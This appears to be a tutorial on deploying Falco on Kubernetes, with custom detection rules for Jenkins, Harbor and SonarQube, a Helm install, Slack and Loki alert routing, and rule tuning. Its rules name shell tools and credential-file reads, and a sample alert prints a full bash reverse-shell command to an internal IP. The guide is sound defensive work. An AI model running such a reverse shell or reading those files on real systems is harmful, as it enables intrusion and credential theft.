Falco watches every syscall on every Kubernetes node using eBPF and fires alerts the
instant anomalous behaviour is detected — a shell spawned inside Jenkins, an image pushed
from an unknown IP, a container trying to read /etc/shadow. Alerts flow through
Falcosidekick to Slack and Loki for instant response and long-term analysis.
Kernel syscalls (eBPF hook)
│
▼
Falco (per-node DaemonSet)
└── evaluates rules in real-time
│
▼ alert JSON
Falcosidekick (single Deployment)
├── Slack ──► #security-alerts channel
└── Loki ──► Grafana dashboard (long-term)
Rules are tailored to the actual services running in the cluster — Jenkins, SonarQube, Harbor. Default Falco rules cover generic Linux; these rules cover your stack.
# rules/jenkins-rules.yaml
- rule: Jenkins Running Unexpected Process
desc: >
Jenkins should only run Java processes. Anything else (bash, curl, wget, nc)
could indicate a build escaping its container or a compromised build step.
condition: >
spawned_process
and container.label.app = "jenkins"
and proc.name != "java"
and not proc.name in (known_jenkins_helper_binaries)
output: >
Unexpected process in Jenkins container
(proc=%proc.name cmdline=%proc.cmdline user=%user.name
container=%container.name image=%container.image.repository)
priority: ERROR
tags: [jenkins, process, mitre_execution]
- list: known_jenkins_helper_binaries
items: [sh, bash, git, ssh, tee, grep, sed, awk, python3]- rule: Harbor Image Push from Unknown IP
desc: >
Image pushes to Harbor from IPs outside the cluster CIDR or known CI runner
ranges may indicate credential theft or supply chain attack.
condition: >
spawned_process
and container.label.app = "harbor-core"
and proc.cmdline contains "push"
and not fd.sip in (trusted_cidr_ranges)
output: >
Unauthorized Harbor image push detected
(src_ip=%fd.sip proc=%proc.cmdline container=%container.name)
priority: CRITICAL
tags: [harbor, network, supply-chain]
- list: trusted_cidr_ranges
items: ["10.0.0.0/8", "172.16.0.0/12"]- rule: SonarQube Spawning Shell
desc: >
SonarQube is a Java application and should never spawn a shell.
Shell execution inside SonarQube may indicate RCE via a vulnerable plugin.
condition: >
spawned_process
and container.label.app = "sonarqube"
and proc.name in (shell_binaries)
output: >
Shell spawned inside SonarQube container — possible RCE
(shell=%proc.name cmdline=%proc.cmdline user=%user.name
container=%container.name)
priority: CRITICAL
tags: [sonarqube, shell, mitre_execution, rce]
- list: shell_binaries
items: [sh, bash, dash, zsh, ksh, fish]- rule: Container Reading Sensitive Host File
desc: Detect containers attempting to read /etc/shadow or /etc/passwd on the host.
condition: >
open_read
and container
and fd.name in (/etc/shadow, /etc/passwd, /root/.ssh/authorized_keys)
output: >
Sensitive file read inside container
(file=%fd.name proc=%proc.name container=%container.name
image=%container.image.repository)
priority: WARNING
tags: [filesystem, credential-access, mitre_credential_access]helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
helm install falco falcosecurity/falco \
--namespace falco --create-namespace \
--set driver.kind=ebpf \
--set falcosidekick.enabled=true \
--set falcosidekick.config.slack.webhookurl="${SLACK_WEBHOOK_URL}" \
--set falcosidekick.config.loki.hostport="http://loki.monitoring.svc.cluster.local:3100" \
--set falcosidekick.config.loki.tenant="falco" \
--set customRules."jenkins-rules\.yaml"="$(cat rules/jenkins-rules.yaml)"When a rule fires, Slack receives:
🚨 [CRITICAL] SonarQube Spawning Shell
Rule: SonarQube Spawning Shell
Priority: CRITICAL
Time: 2026-05-18T14:23:01Z
Host: ip-10-0-1-45.ec2.internal
Container: sonarqube-7d9f8b6c4-xk2jp
Image: sonarqube:10.4-community
Detail:
shell=bash cmdline=bash -i >& /dev/tcp/10.0.99.1/4444 0>&1
user=sonarqube
Tags: sonarqube, shell, rce
Use falco-driver-loader event injection to simulate rule triggers in staging:
# Test: simulate a shell spawning inside a container
kubectl exec -n falco \
$(kubectl get pod -n falco -l app=falco -o name | head -1) -- \
falco-event-generator run syscall --loop
# Test a specific rule
falco -r rules/jenkins-rules.yaml -e \
'{"evt.type":"execve","proc.name":"nc","container.label.app":"jenkins"}'New rules will produce false positives initially. Tune by narrowing conditions or using macros.
# Before: triggers on every build tool Jenkins uses
- rule: Jenkins Running Unexpected Process
condition: >
spawned_process and container.label.app = "jenkins"
and proc.name != "java"
# After: allowlist legitimate build tools
- macro: jenkins_build_tools
condition: >
proc.name in (java, git, mvn, gradle, npm, node, python3,
sh, bash, tee, grep, awk, sed, curl, wget)
- rule: Jenkins Running Unexpected Process
condition: >
spawned_process
and container.label.app = "jenkins"
and not jenkins_build_toolsQuery all CRITICAL alerts in the last 24h:
{job="falco"} | json | priority="CRITICAL" | line_format "{{.time}} {{.rule}} — {{.output}}"
Top rules by fire count (last 7 days):
sum by (rule) (count_over_time({job="falco"} | json [7d]))
- Falco DaemonSet deployment with eBPF driver on Kubernetes
- Custom Falco rules targeting specific DevOps tools (Jenkins, Harbor, SonarQube)
- Falcosidekick for multi-destination alert routing (Slack + Loki)
- Rule testing via event injection
- False positive tuning using macros and allowlists
- Grafana/LogQL dashboards for security event analysis
- MITRE ATT&CK tagging on detection rules